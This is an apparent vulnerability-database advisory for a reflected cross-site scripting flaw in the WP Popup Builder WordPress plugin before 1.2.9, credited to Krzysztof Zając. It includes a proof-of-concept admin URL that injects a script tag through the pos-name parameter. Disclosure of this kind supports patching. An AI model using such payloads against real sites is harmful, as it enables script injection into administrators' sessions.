WordPress Plugin Vulnerabilities
WP Popup Builder < 1.2.9 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting
Proof of Concept
The custom-popup parameter needs to be the ID of an existing popup https://example.com/wp-admin/admin.php?page=wppb&pos-name=xxx"><script>alert(%2FXSS%2F)%3B<%2Fscript>&custom-popup=1
Affects Plugins
Fixed in version 1.2.9
References
Classification
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2022-09-05 (about 4 months ago)
Added
2022-09-05 (about 4 months ago)
Last Updated
2022-09-30 (about 4 months ago)